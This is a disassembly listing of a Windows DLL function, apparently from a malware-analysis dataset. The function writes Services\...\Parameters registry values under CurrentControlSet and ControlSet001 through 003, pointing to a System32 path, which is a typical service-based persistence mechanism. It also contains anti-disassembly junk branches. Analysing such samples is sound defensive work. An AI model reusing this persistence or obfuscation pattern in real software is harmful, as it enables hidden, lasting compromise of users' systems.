Function at 0x1000ab50
Capabilities:
Set registry value

Disassembly:
mov dword [ebp - 0x110], eax
mov edx, dword [ebp - 0x110]
push edx
lea eax, [ebp - 0x104]
push eax
push 7
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000ab68
jae 0x1000ab00
mov eax, dword [0x5b958]
add byte [eax], al
pop eax
mov ecx, 5
mov esi, str._SystemRoot_System32
lea edi, [ebp - 0x208]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x3b
xor eax, eax
lea edi, [ebp - 0x1f2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x5c
push 0x10015506
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0
je 0x1000abc1
mov eax, dword [ebp - 0x310]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [str.SYSTEM_]
mov dword [ebp - 0x720], edx
mov eax, dword [0x100145d8]
mov dword [ebp - 0x71c], eax
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x718]
rep stosd dword es:[edi], eax
mov ecx, dword [str.CurrentControlSet]
mov dword [ebp - 0x61c], ecx
mov edx, dword [0x100145c4]
mov dword [ebp - 0x618], edx
mov eax, dword [0x100145c8]
mov dword [ebp - 0x614], eax
mov ecx, dword [0x100145cc]
mov dword [ebp - 0x610], ecx
mov dx, word [0x100145d0]
mov word [ebp - 0x60c], dx
mov ecx, 0x3c
xor eax, eax
lea edi, [ebp - 0x60a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [str.ControlSet001]
mov dword [ebp - 0x30c], eax
mov ecx, dword [0x100145b4]
mov dword [ebp - 0x308], ecx
mov edx, dword [0x100145b8]
mov dword [ebp - 0x304], edx
mov ax, word [0x100145bc]
mov word [ebp - 0x300], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x2fe]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [str.ControlSet002]
mov dword [ebp - 0x824], ecx
mov edx, dword [0x100145a4]
mov dword [ebp - 0x820], edx
mov eax, dword [0x100145a8]
mov dword [ebp - 0x81c], eax
mov cx, word [0x100145ac]
mov word [ebp - 0x818], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x816]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [str.ControlSet003]
mov dword [ebp - 0x414], edx
mov eax, dword [0x10014594]
mov dword [ebp - 0x410], eax
mov ecx, dword [0x10014598]
mov dword [ebp - 0x40c], ecx
mov dx, word [0x1001459c]
mov word [ebp - 0x408], dx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x406]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [str.Services_]
mov dword [ebp - 0x518], eax
mov ecx, dword [0x10014588]
mov dword [ebp - 0x514], ecx
mov dx, word [0x1001458c]
mov word [ebp - 0x510], dx
mov al, byte [0x1001458e]
mov byte [ebp - 0x50e], al
mov ecx, 0x3e
xor eax, eax
lea edi, [ebp - 0x50d]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
call fcn.1000aa60
add esp, 4
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x61c]
push ecx
lea edx, [ebp - 0x720]
push edx
push str._s_s_s_sParameters
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1000a800
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x518]
push ecx
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0x720]
push eax
push str._s_s_s_s
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea edx, [ebp - 0x104]
push edx
call fcn.1000a8e0
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a970
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x30c]
push ecx
lea edx, [ebp - 0x720]
push edx
push str._s_s_s_sParameters
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1000a800
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x518]
push ecx
lea edx, [ebp - 0x30c]
push edx
lea eax, [ebp - 0x720]
push eax
push str._s_s_s_s
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea edx, [ebp - 0x104]
push edx
call fcn.1000a8e0
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a970
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x824]
push ecx
lea edx, [ebp - 0x720]
push edx
push str._s_s_s_sParameters
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1000a800
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x518]
push ecx
lea edx, [ebp - 0x824]
push edx
lea eax, [ebp - 0x720]
push eax
push str._s_s_s_s
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea edx, [ebp - 0x104]
push edx
call fcn.1000a8e0
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a970
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x720]
push edx
push str._s_s_s_sParameters
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.1000a800
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x518]
push ecx
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x720]
push eax
push str._s_s_s_s
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 2
lea edx, [ebp - 0x104]
push edx
call fcn.1000a8e0
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1000a970
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret